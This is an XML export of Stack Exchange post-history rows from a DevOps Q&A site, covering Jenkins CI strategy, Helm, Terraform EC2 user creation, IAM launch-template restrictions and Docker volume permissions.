  <row Id="13819" PostHistoryTypeId="50" PostId="4190" RevisionGUID="2ece1d53-ab40-449b-b875-09b258e83961" CreationDate="2018-06-28T16:33:37.203" UserId="-1" />
  <row Id="13820" PostHistoryTypeId="2" PostId="4410" RevisionGUID="dea01a99-95c7-4f46-b633-685347063319" CreationDate="2018-06-28T16:53:38.480" UserId="2845" Text="What you have above seems like a reasonable update procedure, however you can also use persistence or a sticky session so that when a user goes to a web server, they will be routed to the same web server for the life of their browser session (or for the next hour, or whatever you decide to configure). This also allows for some A/B testing if you need to get user feedback on a new feature or just allow for the possibility of a bug (just pull server group B from the pool if an issue is discovered during A/B testing with that group).&#xD;&#xA;&#xD;&#xA;There are some concerns you should be aware of with sticky sessions: Eg, source address persistence can be problematic if you have a thousand users behind a firewall - then you have a huge group that always goes to a single web node. Maybe you really don't want a cookie to do persistence, etc.&#xD;&#xA;&#xD;&#xA;But, there really is no agreed &quot;best practice&quot; on this - the best practice is going to the the one that meets your business need in this case. You should just collect all of your options and choose the workflow that best meets your needs." ContentLicense="CC BY-SA 4.0" />
  <row Id="13821" PostHistoryTypeId="50" PostId="3488" RevisionGUID="b1add090-3c39-46e6-b28d-f03088380156" CreationDate="2018-06-28T17:33:38.553" UserId="-1" />
  <row Id="13822" PostHistoryTypeId="2" PostId="4411" RevisionGUID="c45813ca-d79f-4029-aba3-d1e0b3d6673d" CreationDate="2018-06-28T18:13:42.250" UserId="2466" Text="I'm using Jenkins Pipeline with Github for our CI purposes and I'm trying to think what the strategy should be for what is checked out to run. &#xD;&#xA;&#xD;&#xA;Jenkins provides three options when discovering pull requests:&#xD;&#xA;&#xD;&#xA;     1. Merging the pull request with the current target branch revision&#xD;&#xA;     2. The current pull request revision&#xD;&#xA;     3. Both the current pull request revision and the pull request merged with the current target branch.&#xD;&#xA;&#xD;&#xA;I'm looking for opinions on what others choose. To run just the branch head because then it's clear exactly what is being run, or to run the merge state because then it makes you more confident when you merge. &#xD;&#xA;&#xD;&#xA;Currently, I'm using just the PR branch HEAD and enabled Github to require a master merge if the branch is out of date. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13823" PostHistoryTypeId="1" PostId="4411" RevisionGUID="c45813ca-d79f-4029-aba3-d1e0b3d6673d" CreationDate="2018-06-28T18:13:42.250" UserId="2466" Text="Should I run CI on merge state or HEAD of branch in a PR?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13824" PostHistoryTypeId="3" PostId="4411" RevisionGUID="c45813ca-d79f-4029-aba3-d1e0b3d6673d" CreationDate="2018-06-28T18:13:42.250" UserId="2466" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;jenkins-pipeline&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13825" PostHistoryTypeId="50" PostId="3953" RevisionGUID="d372a19f-506c-4e89-aac3-eb060fd9f938" CreationDate="2018-06-28T19:33:44.533" UserId="-1" />
  <row Id="13826" PostHistoryTypeId="2" PostId="4412" RevisionGUID="70c9684c-470f-4740-bfeb-3bcffcbd1c0f" CreationDate="2018-06-28T21:26:51.140" UserId="5284" Text="To get the package to connect to the helm kubernetes cluster and run `helm fetch ` which will &#xD;&#xA;&#xD;&#xA;&gt; pull down the char from a repository and (optionally) unpack it in the local directory.&#xD;&#xA;&#xD;&#xA;use `helm fetch --help` to see formating options&#xD;&#xA;&#xD;&#xA;Use `helm --help` to see available commands. &#xD;&#xA;&#xD;&#xA;`Available Commands:&#xD;&#xA;  completion  Generate autocompletions script for the specified shell (bash or zsh)&#xD;&#xA;  create      create a new chart with the given name&#xD;&#xA;  delete      given a release name, delete the release from Kubernetes&#xD;&#xA;  dependency  manage a chart's dependencies&#xD;&#xA;  diff        Preview helm upgrade changes as a diff&#xD;&#xA;  fetch       download a chart from a repository and (optionally) unpack it in local directory&#xD;&#xA;  get         download a named release&#xD;&#xA;  history     fetch release history&#xD;&#xA;  home        displays the location of HELM_HOME&#xD;&#xA;  init        initialize Helm on both client and server&#xD;&#xA;  inspect     inspect a chart&#xD;&#xA;  install     install a chart archive&#xD;&#xA;  lint        examines a chart for possible issues&#xD;&#xA;  list        list releases&#xD;&#xA;  package     package a chart directory into a chart archive&#xD;&#xA;  plugin      add, list, or remove Helm plugins&#xD;&#xA;  repo        add, list, remove, update, and index chart repositories&#xD;&#xA;  reset       uninstalls Tiller from a cluster&#xD;&#xA;  rollback    roll back a release to a previous revision&#xD;&#xA;  search      search for a keyword in charts&#xD;&#xA;  serve       start a local http web server&#xD;&#xA;  status      displays the status of the named release&#xD;&#xA;  template    locally render templates&#xD;&#xA;  test        test a release&#xD;&#xA;  upgrade     upgrade a release&#xD;&#xA;  verify      verify that a chart at the given path has been signed and is valid&#xD;&#xA;  version     print the client/server version information`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13828" PostHistoryTypeId="2" PostId="4413" RevisionGUID="2fae1db3-f1c9-41bf-a0e7-652e48ed2df0" CreationDate="2018-06-29T03:25:47.357" UserId="8563" Text="I want to make new instance with &quot;user1&quot; rather than ec2-user(AWS) default.i want achieve this by terraform. Like in azure terraform it can be done by &quot;os_profile{}&quot;, but how can i do in aws by terraform scripts?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13829" PostHistoryTypeId="1" PostId="4413" RevisionGUID="2fae1db3-f1c9-41bf-a0e7-652e48ed2df0" CreationDate="2018-06-29T03:25:47.357" UserId="8563" Text="Make instance with newuser by terraform" ContentLicense="CC BY-SA 4.0" />
  <row Id="13830" PostHistoryTypeId="3" PostId="4413" RevisionGUID="2fae1db3-f1c9-41bf-a0e7-652e48ed2df0" CreationDate="2018-06-29T03:25:47.357" UserId="8563" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13831" PostHistoryTypeId="2" PostId="4414" RevisionGUID="5cc04405-4c1d-4130-b37a-3421a463d37e" CreationDate="2018-06-29T06:13:59.033" UserId="249" Text="AWS AMIs come with a default username - which username it is depends on the specific AMI that is launched. Amazon Linux AMIs use `ec2-user`, CentOS uses `centos`, and there's other combinations too.&#xD;&#xA;&#xD;&#xA;If you want to create your own user on instance launch, you can use [EC2 User Data](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html) for this, which essentially entails passing a custom script that will be run at launch time.&#xD;&#xA;&#xD;&#xA;The [`user_data` argument](https://www.terraform.io/docs/providers/aws/r/instance.html#user_data) is supported by Terraform's `aws_instance` resource. You can specify a script inline, but for most cases you'll probably want to use an external file or template.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;**create-user.sh**:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env bash&#xD;&#xA;&#xD;&#xA;    useradd mytestuser&#xD;&#xA;&#xD;&#xA;    # Anything else you want to do to set up your user account&#xD;&#xA;&#xD;&#xA;**main.tf**:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_instance&quot; &quot;main&quot; {&#xD;&#xA;      ...&#xD;&#xA;      user_data = &quot;${file(&quot;create-user.sh&quot;)}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Alternatively, there's an example on rendering a template [here](http://roshpr.net/blog/2016/10/terraform-using-user-data-in-launch-configuration/), which is useful if you want to pass through custom values rather than just provide a static file.&#xD;&#xA;&#xD;&#xA;Or, as an alternative to writing your own shell script, you could try rendering a cloudinit config file using [`template_cloudinit_config`](https://www.terraform.io/docs/providers/template/d/cloudinit_config.html). Some resources that might be useful for this include [this blog post](https://ash.berlintaylor.com/writings/2017/08/reusable-terraform-modules-extending-userdata/) and [this part of the cloudinit documentation](http://cloudinit.readthedocs.io/en/latest/topics/examples.html)." ContentLicense="CC BY-SA 4.0" />
  <row Id="13832" PostHistoryTypeId="5" PostId="4344" RevisionGUID="a1a0434c-24ea-4e3c-879e-e311c6080dd5" CreationDate="2018-06-29T06:24:17.267" UserId="739" Comment="add DRPs tag and copy edit" Text="I'm connected to a cluster which has a release, from a chart, but it was installed by someone else who I think used a tweaked, locally-stored chart.&#xD;&#xA;&#xD;&#xA;I don't have access to their original chart/repo. Is there a way I can retrieve it from the cluster, so I can tweak/amend, and re-install it?&#xD;&#xA;&#xD;&#xA;Or, can I find the URL of the original repo that was used? The chart name is `wordpress-0.6.0`, but that's of no use, since it's the same as the &quot;official&quot;/original one." ContentLicense="CC BY-SA 4.0" />
  <row Id="13833" PostHistoryTypeId="6" PostId="4344" RevisionGUID="a1a0434c-24ea-4e3c-879e-e311c6080dd5" CreationDate="2018-06-29T06:24:17.267" UserId="739" Comment="add DRPs tag and copy edit" Text="&lt;kubernetes&gt;&lt;helm&gt;&lt;disaster-recovery-plans&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13834" PostHistoryTypeId="24" PostId="4344" RevisionGUID="a1a0434c-24ea-4e3c-879e-e311c6080dd5" CreationDate="2018-06-29T06:24:17.267" Comment="Proposed by 739 approved by 40, 47 edit id of 723" ContentLicense="CC BY-SA 4.0" />
  <row Id="13835" PostHistoryTypeId="2" PostId="4415" RevisionGUID="3579d622-293c-4c2d-9c52-9d929fb01ac5" CreationDate="2018-06-29T06:36:45.370" UserId="249" Text="I'm trying to set up an IAM policy that allows a user to run an instance (`ec2:RunInstances`), but only from a specific launch template - _and_ without making any changes to that launch template's parameters.&#xD;&#xA;&#xD;&#xA;The relevant section of my policy looks like this:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;      &quot;Action&quot;: &quot;ec2:RunInstances&quot;,&#xD;&#xA;      &quot;Resource&quot;: &quot;*&quot;,&#xD;&#xA;      &quot;Condition&quot;: {&#xD;&#xA;        &quot;ArnLike&quot;: {&#xD;&#xA;          &quot;ec2:LaunchTemplate&quot;: &quot;arn:aws:ec2:ap-southeast-2:xxxxxxx:launch-template/lt-xxxxxxx&quot;&#xD;&#xA;        },&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This works great. Running the following using the user's credentials works:&#xD;&#xA;&#xD;&#xA;    aws ec2 run-instances --launch-template LaunchTemplateName=test&#xD;&#xA;&#xD;&#xA;...and specifying a different launch template fails. So far so good.&#xD;&#xA;&#xD;&#xA;However, the user can override values in the launch template, and pretty much do whatever they like:&#xD;&#xA;&#xD;&#xA;    aws ec2 run-instances --launch-template LaunchTemplateName=test --instance-type t2.micro&#xD;&#xA;&#xD;&#xA;This is despite me setting the instance type in the launch template as `t2.nano`.&#xD;&#xA;&#xD;&#xA;[The documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ExamplePolicies_EC2.html#iam-example-runinstances-launch-templates) has a solution for this: require the `ec2:IsLaunchTemplateResource` condition to be `&quot;true&quot;`, which apparently only is so if the user has not overridden the launch template.&#xD;&#xA;&#xD;&#xA;Perfect - exactly what I was after! The Condition statement in my IAM policy now looks like this:&#xD;&#xA;&#xD;&#xA;      &quot;Condition&quot;: {&#xD;&#xA;        &quot;ArnLike&quot;: {&#xD;&#xA;          &quot;ec2:LaunchTemplate&quot;: &quot;arn:aws:ec2:ap-southeast-2:xxxxxxx:launch-template/lt-xxxxxxx&quot;&#xD;&#xA;        },&#xD;&#xA;        &quot;Bool&quot;: {&#xD;&#xA;          &quot;ec2:IsLaunchTemplateResource&quot;: &quot;true&quot;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;However, with this additional condition present, the `RunInstances` call fails _even if the user makes no changes_. After [decoding the authorization failure message](https://docs.aws.amazon.com/cli/latest/reference/sts/decode-authorization-message.html), I can see that AWS is reporting `ec2:IsLaunchTemplateResource` was not `&quot;true&quot;`:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;key&quot;: &quot;ec2:IsLaunchTemplateResource&quot;,&#xD;&#xA;      &quot;values&quot;: {&#xD;&#xA;        &quot;items&quot;: [&#xD;&#xA;          {&#xD;&#xA;            &quot;value&quot;: &quot;false&quot;&#xD;&#xA;          }&#xD;&#xA;        ]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;So, my question is... have I done something wrong? Does `ec2:IsLaunchTemplateResource` work in the way I have understood it (which I think is fairly clear in the documentation)?&#xD;&#xA;&#xD;&#xA;Alternatively, is there another way I could allow an IAM user to launch an instance in line with a template, while preventing them from making changes (such as choosing a super-expensive instance type)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13836" PostHistoryTypeId="1" PostId="4415" RevisionGUID="3579d622-293c-4c2d-9c52-9d929fb01ac5" CreationDate="2018-06-29T06:36:45.370" UserId="249" Text="Preventing an IAM user from overriding launch template parameters on RunInstance" ContentLicense="CC BY-SA 4.0" />
  <row Id="13837" PostHistoryTypeId="3" PostId="4415" RevisionGUID="3579d622-293c-4c2d-9c52-9d929fb01ac5" CreationDate="2018-06-29T06:36:45.370" UserId="249" Text="&lt;amazon-ec2&gt;&lt;aws-iam&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13841" PostHistoryTypeId="6" PostId="4413" RevisionGUID="5545cd6a-7bdf-4d0f-90a4-02e03dae8316" CreationDate="2018-06-29T08:17:06.400" UserId="249" Comment="Add EC2 tag" Text="&lt;amazon-ec2&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13842" PostHistoryTypeId="24" PostId="4413" RevisionGUID="5545cd6a-7bdf-4d0f-90a4-02e03dae8316" CreationDate="2018-06-29T08:17:06.400" Comment="Proposed by 249 approved by 47, 40 edit id of 724" ContentLicense="CC BY-SA 4.0" />
  <row Id="13843" PostHistoryTypeId="5" PostId="4415" RevisionGUID="2d9082c3-dbb6-4b98-abb9-4b338a10f02b" CreationDate="2018-06-29T08:23:24.367" UserId="249" Comment="added 959 characters in body" Text="I'm trying to set up an IAM policy that allows a user to run an instance (`ec2:RunInstances`), but only from a specific launch template - _and_ without making any changes to that launch template's parameters.&#xD;&#xA;&#xD;&#xA;The relevant section of my policy looks like this:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;      &quot;Action&quot;: &quot;ec2:RunInstances&quot;,&#xD;&#xA;      &quot;Resource&quot;: &quot;*&quot;,&#xD;&#xA;      &quot;Condition&quot;: {&#xD;&#xA;        &quot;ArnLike&quot;: {&#xD;&#xA;          &quot;ec2:LaunchTemplate&quot;: &quot;arn:aws:ec2:ap-southeast-2:xxxxxxx:launch-template/lt-xxxxxxx&quot;&#xD;&#xA;        },&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This works great. Running the following using the user's credentials works:&#xD;&#xA;&#xD;&#xA;    aws ec2 run-instances --launch-template LaunchTemplateName=test&#xD;&#xA;&#xD;&#xA;...and specifying a different launch template fails. So far so good.&#xD;&#xA;&#xD;&#xA;However, the user can override values in the launch template, and pretty much do whatever they like:&#xD;&#xA;&#xD;&#xA;    aws ec2 run-instances --launch-template LaunchTemplateName=test --instance-type t2.micro&#xD;&#xA;&#xD;&#xA;This is despite me setting the instance type in the launch template as `t2.nano`.&#xD;&#xA;&#xD;&#xA;[The documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ExamplePolicies_EC2.html#iam-example-runinstances-launch-templates) has a solution for this: require the `ec2:IsLaunchTemplateResource` condition to be `&quot;true&quot;`, which apparently only is so if the user has not overridden the launch template.&#xD;&#xA;&#xD;&#xA;Perfect - exactly what I was after! The Condition statement in my IAM policy now looks like this:&#xD;&#xA;&#xD;&#xA;      &quot;Condition&quot;: {&#xD;&#xA;        &quot;ArnLike&quot;: {&#xD;&#xA;          &quot;ec2:LaunchTemplate&quot;: &quot;arn:aws:ec2:ap-southeast-2:xxxxxxx:launch-template/lt-xxxxxxx&quot;&#xD;&#xA;        },&#xD;&#xA;        &quot;Bool&quot;: {&#xD;&#xA;          &quot;ec2:IsLaunchTemplateResource&quot;: &quot;true&quot;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;However, with this additional condition present, the `RunInstances` call fails _even if the user makes no changes_. After [decoding the authorization failure message](https://docs.aws.amazon.com/cli/latest/reference/sts/decode-authorization-message.html), I can see that AWS is reporting `ec2:IsLaunchTemplateResource` was not `&quot;true&quot;`:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;key&quot;: &quot;ec2:IsLaunchTemplateResource&quot;,&#xD;&#xA;      &quot;values&quot;: {&#xD;&#xA;        &quot;items&quot;: [&#xD;&#xA;          {&#xD;&#xA;            &quot;value&quot;: &quot;false&quot;&#xD;&#xA;          }&#xD;&#xA;        ]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;___&#xD;&#xA;&#xD;&#xA;**EDIT**: After posting this, I continued to iterate, and noticed that the specific resource that was hitting up against this issue was the subnet - which wasn't defined in the launch template. Taking cues from additional examples in the documentation I linked to, I tried adding another statement to allow the subnet resource even without `ec2:IsLaunchTemplateResource` being true, and this worked. I also tried, alternatively, explicitly defining the subnet in the launch template: this worked too.&#xD;&#xA;&#xD;&#xA;_However,_ now I am not getting access denied _even when changing the instance type_! So it appears that it was the subnet all along that was triggering the original denial. While I've sort of taken a step forward, the symptom of the issue has now flipped from what I was initially experiencing... and now although the user can launch, they can also launch instances I don't want them to. So my initial question below still remains. :)&#xD;&#xA;&#xD;&#xA;___&#xD;&#xA;&#xD;&#xA;So, my question is... have I done something wrong? Does `ec2:IsLaunchTemplateResource` work in the way I have understood it (which I think is fairly clear in the documentation)?&#xD;&#xA;&#xD;&#xA;Alternatively, is there another way I could allow an IAM user to launch an instance in line with a template, while preventing them from making changes (such as choosing a super-expensive instance type)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13845" PostHistoryTypeId="2" PostId="4417" RevisionGUID="8501b89b-f52c-4329-9e95-8f10b02b5084" CreationDate="2018-06-29T12:28:20.627" UserId="6686" Text="One of the tenets of microservices is the polyglot, [autonomous services][1] (developed in different programming languages). In my experience (online reading and YouTube and discussions with developers) it seems this is not really applied in practice except the big companies like NetFlix, AWS , Google. Will this assumption be true ? I  will appreciate information on statistics about this e.g. reports, surveys.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://nvisium.com/blog/2017/11/16/migrating-to-microservices-securely-safely.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="13846" PostHistoryTypeId="1" PostId="4417" RevisionGUID="8501b89b-f52c-4329-9e95-8f10b02b5084" CreationDate="2018-06-29T12:28:20.627" UserId="6686" Text="What percentage of microservice architectures employ polyglot programming models?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13847" PostHistoryTypeId="3" PostId="4417" RevisionGUID="8501b89b-f52c-4329-9e95-8f10b02b5084" CreationDate="2018-06-29T12:28:20.627" UserId="6686" Text="&lt;microservices&gt;&lt;devsecops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13848" PostHistoryTypeId="50" PostId="3709" RevisionGUID="f94e5375-4806-458d-beb2-1fd26026e6ad" CreationDate="2018-06-29T12:36:08.773" UserId="-1" />
  <row Id="13849" PostHistoryTypeId="50" PostId="4189" RevisionGUID="3d60c27e-64af-42e9-8d83-6cc0ebce6b49" CreationDate="2018-06-29T14:36:09.520" UserId="-1" />
  <row Id="13850" PostHistoryTypeId="50" PostId="1622" RevisionGUID="1b3f914d-47e0-42fc-b737-4af61890e001" CreationDate="2018-06-29T15:36:09.507" UserId="-1" />
  <row Id="13851" PostHistoryTypeId="2" PostId="4418" RevisionGUID="341f7429-2f06-43ce-8225-42e61ee17301" CreationDate="2018-06-29T16:22:10.533" UserId="4115" Text="Usually you want to test your code as closely as possible to how it's going to be deployed.  This means you're going to want to run your tests against code that's been merged with master, so choose the first option (merge first, then test).  There's no point in the 2nd option if you're never going to deploy the code in that state (i.e. unmerged).&#xD;&#xA;&#xD;&#xA;Or for another perspective: good CI practices involve merging soon and merging often.  This would naturally lead one to the first option." ContentLicense="CC BY-SA 4.0" />
  <row Id="13852" PostHistoryTypeId="50" PostId="3177" RevisionGUID="44370d3a-d9c4-4100-a7cf-e184509d7f81" CreationDate="2018-06-29T18:36:14.073" UserId="-1" />
  <row Id="13853" PostHistoryTypeId="50" PostId="2536" RevisionGUID="babee943-6474-40ae-8dd4-9450835efb89" CreationDate="2018-06-29T20:36:09.820" UserId="-1" />
  <row Id="13856" PostHistoryTypeId="50" PostId="4028" RevisionGUID="1ed6aa3d-5272-43a1-ad95-48dc341592f9" CreationDate="2018-06-30T11:36:16.970" UserId="-1" />
  <row Id="13857" PostHistoryTypeId="50" PostId="3950" RevisionGUID="5d78b35a-a429-4a64-9d3a-c184b5d1ce3a" CreationDate="2018-06-30T12:36:16.990" UserId="-1" />
  <row Id="13858" PostHistoryTypeId="50" PostId="4023" RevisionGUID="df9077b6-72d8-4bff-a6b2-18f499bdb03d" CreationDate="2018-06-30T23:37:35.510" UserId="-1" />
  <row Id="13859" PostHistoryTypeId="50" PostId="4166" RevisionGUID="a71b6c59-2ea4-4658-8dad-250f9a2ac4b4" CreationDate="2018-07-01T06:43:10.523" UserId="-1" />
  <row Id="13866" PostHistoryTypeId="50" PostId="1877" RevisionGUID="0dade23e-38e2-4216-be25-e3466fbb8dfa" CreationDate="2018-07-01T20:47:44.237" UserId="-1" />
  <row Id="13867" PostHistoryTypeId="2" PostId="4421" RevisionGUID="7217980d-6f1b-41f4-b116-ea015c5a5c12" CreationDate="2018-07-02T00:38:57.910" UserId="8590" Text="Hopefully someone can help, I've found lots of information online but as I'm brand new to both jenkins and docker, I'm having a hard time sorting out which suggested solutions happen on the what machine, so I'm cargo culting without any success.&#xD;&#xA;&#xD;&#xA;Setup I'm attempting:&#xD;&#xA;- physical box is OSX with docker for mac installed&#xD;&#xA;- I created a docker container that runs jenkins, it works, I can make a hello-world job run fine on the master node&#xD;&#xA;- I want to create dynamic docker build agents&#xD;&#xA;- I've tried configuring the Docker Cloud plugin to make build agents from the evarga/jenkins-slave image&#xD;&#xA;- I don't know what to put in Docker Host URI. I have tried tcp://127.0.0.1:2376 but when I &quot;Test Connection&quot; I get a Connection Refused error message.&#xD;&#xA;&#xD;&#xA;Any help much appreciated!" ContentLicense="CC BY-SA 4.0" />
  <row Id="13868" PostHistoryTypeId="1" PostId="4421" RevisionGUID="7217980d-6f1b-41f4-b116-ea015c5a5c12" CreationDate="2018-07-02T00:38:57.910" UserId="8590" Text="Stuck! using docker cloud from jenkins running on local osx docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="13869" PostHistoryTypeId="3" PostId="4421" RevisionGUID="7217980d-6f1b-41f4-b116-ea015c5a5c12" CreationDate="2018-07-02T00:38:57.910" UserId="8590" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;docker-in-docker&gt;&lt;macos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13870" PostHistoryTypeId="5" PostId="4421" RevisionGUID="f0880ac1-0b3d-426f-9dd6-c4111e09c38e" CreationDate="2018-07-02T01:00:10.933" UserId="8590" Comment="added 130 characters in body" Text="Hopefully someone can help, I've found lots of information online but as I'm brand new to both jenkins and docker, I'm having a hard time sorting out which suggested solutions happen on the what machine, so I'm cargo culting without any success.&#xD;&#xA;&#xD;&#xA;Setup I'm attempting:&#xD;&#xA;- physical box is OSX with docker for mac installed&#xD;&#xA;- I created a docker container that runs jenkins, it works, I can make a hello-world job run fine on the master node&#xD;&#xA;- I want to create dynamic docker build agents&#xD;&#xA;- I've tried configuring the Docker Cloud plugin to make build agents from the evarga/jenkins-slave image&#xD;&#xA;- I don't know what to put in Docker Host URI. I have tried tcp://127.0.0.1:2376 but when I &quot;Test Connection&quot; I get a Connection Refused error message.&#xD;&#xA;- I've also tried /var/run/docker.sock as the HOST URI and in that case I get a 403 &quot;No valid crumb was included in the request&quot;&#xD;&#xA;&#xD;&#xA;Any help much appreciated!" ContentLicense="CC BY-SA 4.0" />
  <row Id="13871" PostHistoryTypeId="2" PostId="4422" RevisionGUID="01a5a3f6-2ab5-4ab3-9a2b-b6ee16db2c8f" CreationDate="2018-07-02T05:36:14.317" UserId="8563" Text="I have a lot of instance in aws.I have build through terraform. I have made scripts of making user(e.g. **user1** rather than **ec2-user**).But i am facing one issue.when i check .ssh/authorized_key. I have seen this line **Please login as the user &quot;ec2-user&quot; rather than the user &quot;root&quot;**.The problem is that whenever i login using this user(like user1@XXXXXXX) get this msg and denied to login but i have remove this line and try then it's working.but i want to remove this line not manually. How can i do?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13872" PostHistoryTypeId="1" PostId="4422" RevisionGUID="01a5a3f6-2ab5-4ab3-9a2b-b6ee16db2c8f" CreationDate="2018-07-02T05:36:14.317" UserId="8563" Text="Set user in aws" ContentLicense="CC BY-SA 4.0" />
  <row Id="13873" PostHistoryTypeId="3" PostId="4422" RevisionGUID="01a5a3f6-2ab5-4ab3-9a2b-b6ee16db2c8f" CreationDate="2018-07-02T05:36:14.317" UserId="8563" Text="&lt;terraform&gt;&lt;linux&gt;&lt;shell-script&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13877" PostHistoryTypeId="2" PostId="4424" RevisionGUID="aa282f1c-a499-4664-8f5d-a7b27cbe07b2" CreationDate="2018-07-02T08:06:35.097" UserId="8593" Text="I have a small vm running docker it only has a 20gig SSD which is more than enough for the OS + SWAP + Docker and the container images. But now I want to run a nextcloud docker image on that host. Because of the lack of space I mounted a cifs share to /data and started docker linking nextclouds data directory to the share.&#xD;&#xA;&#xD;&#xA;     docker run -v /data/docker-volumes/nextcloud/data/:/var/www/html/ -p 8080:80 nextcloud&#xD;&#xA;&#xD;&#xA;The files are created but then docker tries to change the ownership of the files to www-data which does not work because the user www-data does not exist on the target system (the SMB Server). Which fails and terminates the docker instance.&#xD;&#xA;&#xD;&#xA;    rsync: chown &quot;/var/www/html/data&quot; failed: Permission denied (13)&#xD;&#xA;    rsync error: some files/attrs were not transferred (see previous errors) (code 23) at main.c(1196) [sender=3.1.2]&#xD;&#xA;&#xD;&#xA;There is no way to create the user www-data on the target system. Is there any way to get around this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13878" PostHistoryTypeId="1" PostId="4424" RevisionGUID="aa282f1c-a499-4664-8f5d-a7b27cbe07b2" CreationDate="2018-07-02T08:06:35.097" UserId="8593" Text="docker volumes on cifs share cause permission desaster" ContentLicense="CC BY-SA 4.0" />
  <row Id="13879" PostHistoryTypeId="3" PostId="4424" RevisionGUID="aa282f1c-a499-4664-8f5d-a7b27cbe07b2" CreationDate="2018-07-02T08:06:35.097" UserId="8593" Text="&lt;docker&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13880" PostHistoryTypeId="10" PostId="4364" RevisionGUID="f6f7326c-bb51-41db-bb13-b4c15b086064" CreationDate="2018-07-02T08:40:55.367" UserId="13" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:739,&quot;DisplayName&quot;:&quot;chicks&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="13882" PostHistoryTypeId="5" PostId="4422" RevisionGUID="b193cce3-25d6-45ef-8b06-89aeacb5a4a0" CreationDate="2018-07-02T10:01:55.093" UserId="8563" Comment="added 670 characters in body" Text="I have a lot of instance in aws.I have build through terraform. I have made scripts of making user(e.g. **user1** rather than **ec2-user**).But i am facing one issue.when i check .ssh/authorized_key. I have seen this line **Please login as the user &quot;ec2-user&quot; rather than the user &quot;root&quot;**.The problem is that whenever i login using this user(like user1@XXXXXXX) get this msg and denied to login but i have remove this line and try then it's working.but i want to remove this line not manually. How can i do?in this scripts i have done few steps.&#xD;&#xA;&#xD;&#xA; - sudo adduser user1&#xD;&#xA; - usermod -a -G sudo user1&#xD;&#xA; - cp ~/.ssh/authorized_key /home/user1/.ssh/authorized_keys&#xD;&#xA; After this i am trying to login through ssh user1@XXXXX-XXXX and then show me this line on terminal **Please login as the user &quot;ec2-user&quot; rather than the user &quot;root&quot;**.So i have entered through ec2-user@XXXX-XXXX and then i have switched user to user1 from ec2-user.and then remove this line **Please login as the user &quot;ec2-user&quot; rather than the user &quot;root&quot;** because this line is by default come.after that i have easily login through user1@XXXXXX-XXXX but how can i configured without showing this line msg.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13883" PostHistoryTypeId="50" PostId="1088" RevisionGUID="394fbd36-4a28-43cc-9b14-10d8212811b0" CreationDate="2018-07-02T16:48:26.777" UserId="-1" />
